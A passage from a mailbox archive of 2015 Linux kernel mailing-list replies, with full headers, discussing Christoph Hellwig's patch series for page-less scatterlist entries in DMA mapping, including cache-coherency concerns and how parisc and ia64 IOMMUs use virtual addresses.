Original-Received: by 10.36.219.130 with HTTP; Wed, 12 Aug 2015 09:01:02 -0700 (PDT)
In-Reply-To: <1439363150-8661-30-git-send-email-hch@lst.de>
X-Google-Sender-Auth: eZaVXoqdsc3fijjVhhGuuPDmGqg
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28873 gmane.linux.kernel:2019000 gmane.linux.ports.alpha:3311 gmane.linux.ports.ia64:25710 gmane.linux.kernel.metag:620 gmane.linux.ports.mips.general:49972 gmane.linux.ports.parisc:25937 gmane.linux.ports.ppc64.devel:116794 gmane.linux.ports.sparc:21418 gmane.linux.drivers.video-input-infrastructure:93971
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28873>

On Wed, Aug 12, 2015 at 12:05 AM, Christoph Hellwig <hch@lst.de> wrote:
> Make all cache invalidation conditional on sg_has_page() and use
> sg_phys to get the physical address directly.

So this worries me a bit (I'm just reacting to one random patch in the series).

The reason?

I think this wants a big honking comment somewhere saying "non-sg_page
accesses are not necessarily cache coherent").

Now, I don't think that's _wrong_, but it's an important distinction:
if you look up pages in the page tables directly, there's a very
subtle difference between then saving just the pfn and saving the
"struct page" of the result.

On sane architectures, this whole cache flushing thing doesn't matter.
Which just means that it's going to be even more subtle on the odd
broken ones..

I'm assuming that anybody who wants to use the page-less
scatter-gather lists always does so on memory that isn't actually
virtually mapped at all, or only does so on sane architectures that
are cache coherent at a physical level, but I'd like that assumption
*documented* somewhere.

(And maybe it is, and I just didn't get to that patch yet)

                   Linus

From - Thu Nov 08 21:37:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: Re: [PATCH 31/31] dma-mapping-common: skip kmemleak checks for
 page-less SG entries
Date: Wed, 12 Aug 2015 09:05:15 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <CA+55aFxfZM81HNfo2ysfhGwrhx6GX-+F--+jLFmMVv+Z0id2rw@mail.gmail.com>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
        <1439363150-8661-32-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439395550 28210 80.91.229.3 (12 Aug 2015 16:05:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 16:05:50 +0000 (UTC)
Cc: Jens Axboe <axboe@kernel.dk>,
        Dan Williams <dan.j.williams@intel.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        =?UTF-8?Q?H=C3=A5vard_Skinnemoen?= <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Miao Steven <realmz6@gmail.com>,
        David Howells <dhowells@redhat.com>,
        Michal Simek <monstr@monstr.eu>,
        "the arch/x86 maintainers" <x86@kernel.org>,
        David Woodhouse <dwmw2@infradead.org>,
        Alex Williamson <alex.williamson@redhat.com>,
        grundler@parisc-linux.org,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
        linux-alpha@vger.kernel.org,
        "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
        linux-metag@vger.kernel.org,
        linux-mips <linux-mips@linux-mips.org>,
        Pari
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 18:05:41 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPYX6-0005zu-DT
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 18:05:40 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:44330 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27012421AbbHLQFiR6OAh (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 18:05:38 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 18:05:24 +0200 (CEST)
Original-Received: from mail-io0-f180.google.com ([209.85.223.180]:34052 "EHLO
        mail-io0-f180.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27012263AbbHLQFW3Swzh (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 18:05:22 +0200
Original-Received: by iodb91 with SMTP id b91so24520165iod.1
        for <linux-mips@linux-mips.org>; Wed, 12 Aug 2015 09:05:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=MJzZL+CgMUY3GKm3z8wa7otA0jR+vzieLcQ/5SMgzCw=;
        b=kkRRSsFoxIgSo1Bdk5Nf7Qd9PT5CZnku1e2US7Qyl67N8W8T6l8sw2TGRk3JQq+orD
         unGyut8KkW8nSP/+sHKJZ9pr8yEi5u1NWYdyChPLptQq1wr3t0S86QVr9le8ffBISLCj
         pVsu4LHPq/9xSWTbOuf3stzG85HzlrGlfJMc07Uz61mFENyv85ps9FWjUawvjR1RuymI
         Kkpdb2pxKS7bs1PqDf+KKlSdl38uKGfF7XkZTyk2Gb/peUH31XlUifWHo1dZI7nGwFwB
         1M/BxvpCJvILSJCkPizNDUyMkQF3jCwhQDzxUpo2zH4m/hEWM6CifvSsYJXMKziMe58s
         pQUQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=MJzZL+CgMUY3GKm3z8wa7otA0jR+vzieLcQ/5SMgzCw=;
        b=CIH6VHeEYKQEZR6ycpamm1sYQdzNAvDu4IfBfFaAHPyoUdawGq8YuoAYg8JKjFvKi/
         ISCpUT3kA22ttz7Ts6qZ2qoIVNxIe0i/+vGjSY+2RlSisZMfHUa693/kWh2uMM87TLht
         JvVLGTH3430jAnnGE9wUoFngZHFAD96MXL0Ww=
X-Received: by 10.107.8.216 with SMTP id h85mr25771845ioi.89.1439395516038;
 Wed, 12 Aug 2015 09:05:16 -0700 (PDT)
Original-Received: by 10.36.219.130 with HTTP; Wed, 12 Aug 2015 09:05:15 -0700 (PDT)
In-Reply-To: <1439363150-8661-32-git-send-email-hch@lst.de>
X-Google-Sender-Auth: 1lgZvIhI2y3w_A-MYzUfqFXbHCI
X-archive-position: 48822
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: torvalds@linux-foundation.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49973 gmane.linux.kernel:2019004 gmane.linux.kernel.cross-arch:28874 gmane.linux.ports.alpha:3312 gmane.linux.ports.ia64:25711 gmane.linux.kernel.metag:621 gmane.linux.ports.parisc:25938 gmane.linux.ports.ppc64.devel:116795 gmane.linux.ports.sparc:21419 gmane.linux.drivers.video-input-infrastructure:93972
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49973>

On Wed, Aug 12, 2015 at 12:05 AM, Christoph Hellwig <hch@lst.de> wrote:
> +       for_each_sg(sg, s, nents, i) {
> +               if (sg_has_page(s))
> +                       kmemcheck_mark_initialized(sg_virt(s), s->length);
> +       }

[ Again, I'm responding to one random patch - this pattern was in
other patches too.  ]

A question: do we actually expect to mix page-less and pageful SG
entries in the same SG list?

How does that happen?

(I'm not saying it can't, I'm just wondering where people expect this
to happen).

IOW, maybe it would be valid to have a rule saying "a SG list is
either all pageful or pageless, never mixed", and then have the "if"
statement outside the loop rather than inside.

                      Linus



From - Thu Nov 08 21:37:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Catalin Marinas <catalin.marinas@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: Re: [PATCH 31/31] dma-mapping-common: skip kmemleak checks for
 page-less SG entries
Date: Wed, 12 Aug 2015 17:26:44 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <CAHkRjk6ykXd1=DLZ16dKiyrBXWmd80WC4gLyoN50JYigJG_-bQ@mail.gmail.com>
References: <1439363150-8661-1-git-send-email-hch@lst.de> <1439363150-8661-32-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439396840 18827 80.91.229.3 (12 Aug 2015 16:27:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 16:27:20 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>, axboe@kernel.dk,
	Dan Williams <dan.j.williams@intel.com>, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	David Howells <dhowells@redhat.com>,
	Michal Simek <monstr@monstr.eu>,
	"x86@kernel.org" <x86@kernel.org>,
	David Woodhouse <dwmw2@infradead.org>,
	alex.williamson@redhat.com, grundler@parisc-linux.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org,
	Linux Media Mailing
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Aug 12 18:27:13 2015
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1ZPYru-0004RI-VX
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 12 Aug 2015 18:27:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932138AbbHLQ1K (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 12 Aug 2015 12:27:10 -0400
Original-Received: from mail-ig0-f181.google.com ([209.85.213.181]:34146 "EHLO
	mail-ig0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932114AbbHLQ1I (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Wed, 12 Aug 2015 12:27:08 -0400
Original-Received: by igui7 with SMTP id i7so65067242igu.1;
        Wed, 12 Aug 2015 09:27:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=DAf5Wyqqr9wwC0032B3Xti7JQwnG50zAYorCgiezCxw=;
        b=fNqq66vzlXamCOKbyVLQiwBw46TDsIRz5zEHhCmCiHoivGOxZS8ZZ5v3yZ04RvCsNR
         CqkMM+BdkUgxgHwOKr2kBzGBic+TmJPByaXUShQLQLUcRJbrG3KPGAJ2Zdjof5CVZOuu
         MOkxl2JYXUJgvsJ9cg18W484ZrD8Jg/l0L5FHO4l59qee47HepbciemnmPsmuGD+sdmP
         knf8Df9Jo9UlypjCbi001sJsmVxoauaQCMQzSiZhmn06Xd3TlJO3uSSp8KTA0bBAeeef
         v8tSjwGpwm6uOgrc773vPBV6VesDObra9T/k/gnkbDW2ya/b1bS8Qb4oH8dbPXCJiD3b
         cNig==
X-Received: by 10.50.30.226 with SMTP id v2mr372197igh.11.1439396826690; Wed,
 12 Aug 2015 09:27:06 -0700 (PDT)
Original-Received: by 10.107.148.131 with HTTP; Wed, 12 Aug 2015 09:26:44 -0700 (PDT)
In-Reply-To: <1439363150-8661-32-git-send-email-hch@lst.de>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:25712 gmane.linux.kernel:2019020 gmane.linux.kernel.cross-arch:28875 gmane.linux.ports.alpha:3313 gmane.linux.kernel.metag:622 gmane.linux.ports.mips.general:49975 gmane.linux.ports.parisc:25939 gmane.linux.ports.ppc64.devel:116796 gmane.linux.ports.sparc:21420 gmane.linux.drivers.video-input-infrastructure:93974
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/25712>

Christoph,

On 12 August 2015 at 08:05, Christoph Hellwig <hch@lst.de> wrote:
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  include/asm-generic/dma-mapping-common.h | 6 ++++--
>  1 file changed, 4 insertions(+), 2 deletions(-)
>
> diff --git a/include/asm-generic/dma-mapping-common.h b/include/asm-generic/dma-mapping-common.h
> index 940d5ec..afc3eaf 100644
> --- a/include/asm-generic/dma-mapping-common.h
> +++ b/include/asm-generic/dma-mapping-common.h
> @@ -51,8 +51,10 @@ static inline int dma_map_sg_attrs(struct device *dev, struct scatterlist *sg,
>         int i, ents;
>         struct scatterlist *s;
>
> -       for_each_sg(sg, s, nents, i)
> -               kmemcheck_mark_initialized(sg_virt(s), s->length);
> +       for_each_sg(sg, s, nents, i) {
> +               if (sg_has_page(s))
> +                       kmemcheck_mark_initialized(sg_virt(s), s->length);
> +       }

Just a nitpick for the subject, it should say "kmemcheck" rather than
"kmemleak" (different features ;)).

-- 
Catalin
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: Re: RFC: prepare for struct scatterlist entries without page backing
Date: Wed, 12 Aug 2015 10:00:07 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <1439398807.2825.51.camel@HansenPartnership.com>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1439398827 23472 80.91.229.3 (12 Aug 2015 17:00:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 17:00:27 +0000 (UTC)
Cc: torvalds@linux-foundation.org, axboe@kernel.dk,
	dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Aug 12 19:00:14 2015
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1ZPZNt-0007vR-9z
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 12 Aug 2015 19:00:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932189AbbHLRAM (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 12 Aug 2015 13:00:12 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:52391 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932187AbbHLRAK (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>);
	Wed, 12 Aug 2015 13:00:10 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 2F0A38EE10E;
	Wed, 12 Aug 2015 10:00:09 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZBsUnD_Eqlbo; Wed, 12 Aug 2015 10:00:09 -0700 (PDT)
Original-Received: from [153.66.254.242] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id A46EC8EE0A2;
	Wed, 12 Aug 2015 10:00:07 -0700 (PDT)
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:25713 gmane.linux.kernel:2019056 gmane.linux.kernel.cross-arch:28876 gmane.linux.ports.alpha:3314 gmane.linux.kernel.metag:623 gmane.linux.ports.mips.general:49976 gmane.linux.ports.parisc:25940 gmane.linux.ports.ppc64.devel:116797 gmane.linux.ports.sparc:21421 gmane.linux.drivers.video-input-infrastructure:93975
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/25713>

On Wed, 2015-08-12 at 09:05 +0200, Christoph Hellwig wrote:
> Dan Williams started to look into addressing I/O to and from
> Persistent Memory in his series from June:
> 
> 	http://thread.gmane.org/gmane.linux.kernel.cross-arch/27944
> 
> I've started looking into DMA mapping of these SGLs specifically instead
> of the map_pfn method in there.  In addition to supporting NVDIMM backed
> I/O I also suspect this would be highly useful for media drivers that
> go through nasty hoops to be able to DMA from/to their ioremapped regions,
> with vb2_dc_get_userptr in drivers/media/v4l2-core/videobuf2-dma-contig.c
> being a prime example for the unsafe hacks currently used.
> 
> It turns out most DMA mapping implementation can handle SGLs without
> page structures with some fairly simple mechanical work.  Most of it
> is just about consistently using sg_phys.  For implementations that
> need to flush caches we need a new helper that skips these cache
> flushes if a entry doesn't have a kernel virtual address.
> 
> However the ccio (parisc) and sba_iommu (parisc & ia64) IOMMUs seem
> to be operate mostly on virtual addresses.  It's a fairly odd concept
> that I don't fully grasp, so I'll need some help with those if we want
> to bring this forward.

I can explain that.  I think this doesn't apply to ia64 because it's
cache is PIPT, but on parisc, we have a VIPT cache.

On normal physically indexed architectures, when the iommu sees a DMA
transfer to/from physical memory, it also notifies the CPU to flush the
internal CPU caches of those lines.  This is usually an interlocking
step of the transfer to make sure the page is coherent before transfer
to/from the device (it's why the ia32 for instance is a coherent
architecture).  Because the system is physically indexed, there's no
need to worry about aliases.

On Virtually Indexed systems, like parisc, there is an aliasing problem.
The CCIO iommu unit (and all other iommu systems on parisc) have what's
called a local coherence index (LCI).  You program it as part of the
IOMMU page table and it tells the system which Virtual line in the cache
to flush as part of the IO transaction, thus still ensuring cache
coherence.  That's why we have to know the virtual as well as physical
addresses for the page.  The problem we have in Linux is that we have
two virtual addresses, which are often incoherent aliases: the user
virtual address and a kernel virtual address but we can only make the
page coherent with a single alias (only one LCI).  The way I/O on Linux
currently works is that get_user_pages actually flushes the user virtual
address, so that's expected to be coherent, so the address we program
into the VCI is the kernel virtual address.  Usually nothing in the
kernel has ever touched the page, so there's nothing to flush, but we do
it just in case.

In theory, for these non kernel page backed SG entries, we can make the
process more efficient by not flushing in gup and instead programming
the user virtual address into the local coherence index.  However,
simply zeroing the LCI will also work (except that poor VI zero line
will get flushed repeatedly, so it's probably best to pick a known
untouched line in the kernel).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: Re: RFC: prepare for struct scatterlist entries without page backing
Date: Wed, 12 Aug 2015 10:56:26 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <CAP6odjhfTHzgEivDUxXyU=VBG4U85ETxv1gcogE9GVGoGQ37-w@mail.gmail.com>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
	<1439398807.2825.51.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439402205 23332 80.91.229.3 (12 Aug 2015 17:56:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 17:56:45 +0000 (UTC)
Cc: Christoph Hellwig <hch@lst.de>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	axboe@kernel.dk, dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	David Woodhouse <dwmw2@infradead.org>,
	alex.williamson@redhat.com,
	Grant Grundler <grundler@parisc-linux.org>,
	open list <linux-kernel@vger.kernel.org>,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 12 19:56:42 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZPaGW-0002pt-2M
	for glk-linux-kernel-3@plane.gmane.org; Wed, 12 Aug 2015 19:56:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751502AbbHLR4e (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 12 Aug 2015 13:56:34 -0400
Original-Received: from mail-wi0-f171.google.com ([209.85.212.171]:37887 "EHLO
	mail-wi0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751053AbbHLR43 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 12 Aug 2015 13:56:29 -0400
Original-Received: by wibhh20 with SMTP id hh20so40594451wib.0;
        Wed, 12 Aug 2015 10:56:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=HIMhkc5Cn8/yYBS7a8oKy6LoqLgVUI7HptxGWB9wQqk=;
        b=vAL3i9gUaLqFkl6Qm8A3d372C/2qsQ5N+spv08bRvBbE7dIMYcsBL1Usbln4p48vNn
         rzOYXmLLPom+QkNgeQqx7CkGZX1FgxRcWWnqCs1cjvdP73ZYIEcsQ6K1X9csDJ+mlyvC
         KEd+mHfBnsARSnXHBczh+mYDf7BlfyloUkFnKHeZA915mVUh0yM/uKSMsPiSqO5AD0eS
         /xtv3oFRVifEE5XZV3sYXoHFzu2q3JM+2+THw2XpDQ0SCWQ+8o8je9bqfxcvaXtca2Lh
         70NmfQMi5AfdhF4AIlskTYc8VN6zELyTI86D8QeOhxwKa7A9q3Va9SYWGJ5Jc76n4Bb9
         tz0A==
X-Received: by 10.180.78.166 with SMTP id c6mr28246637wix.8.1439402186691;
 Wed, 12 Aug 2015 10:56:26 -0700 (PDT)
Original-Received: by 10.28.152.70 with HTTP; Wed, 12 Aug 2015 10:56:26 -0700 (PDT)
In-Reply-To: <1439398807.2825.51.camel@HansenPartnership.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2019083 gmane.linux.kernel.cross-arch:28877 gmane.linux.ports.alpha:3315 gmane.linux.ports.ia64:25714 gmane.linux.kernel.metag:624 gmane.linux.ports.mips.general:49977 gmane.linux.ports.parisc:25941 gmane.linux.ports.ppc64.devel:116798 gmane.linux.ports.sparc:21422 gmane.linux.drivers.video-input-infrastructure:93976
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2019083>

On Wed, Aug 12, 2015 at 10:00 AM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Wed, 2015-08-12 at 09:05 +0200, Christoph Hellwig wrote:
...
>> However the ccio (parisc) and sba_iommu (parisc & ia64) IOMMUs seem
>> to be operate mostly on virtual addresses.  It's a fairly odd concept
>> that I don't fully grasp, so I'll need some help with those if we want
>> to bring this forward.

James explained the primary function of IOMMUs on parisc (DMA-Cache
coherency) much better than I ever could.

Three more observations:
1) the IOMMU can be bypassed by 64-bit DMA devices on IA64.

2) IOMMU enables 32-bit DMA devices to reach > 32-bit physical memory
and thus avoiding bounce buffers. parisc and older IA-64 have some
32-bit PCI devices - e.g. IDE boot HDD.

3) IOMMU acts as a proxy for IO devices by fetching cachelines of data
for PA-RISC systems whose memory controllers ONLY serve cacheline
sized transactions. ie. 32-bit DMA results in the IOMMU fetching the
cacheline and updating just the 32-bits in a DMA cache coherent
fashion.

Bonus thought:
4) IOMMU can improve DMA performance in some cases using "hints"
provided by the OS (e.g. prefetching DMA data or using READ_CURRENT
bus transactions instead of normal memory fetches.)

cheers,
grant

From - Thu Nov 08 21:37:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Wed, 12 Aug 2015 23:35:30 +0300 (EEST)
Lines: 57
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1439411474 26275 80.91.229.3 (12 Aug 2015 20:31:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 20:31:14 +0000 (UTC)
To: linux-parisc@vger.kernel.org
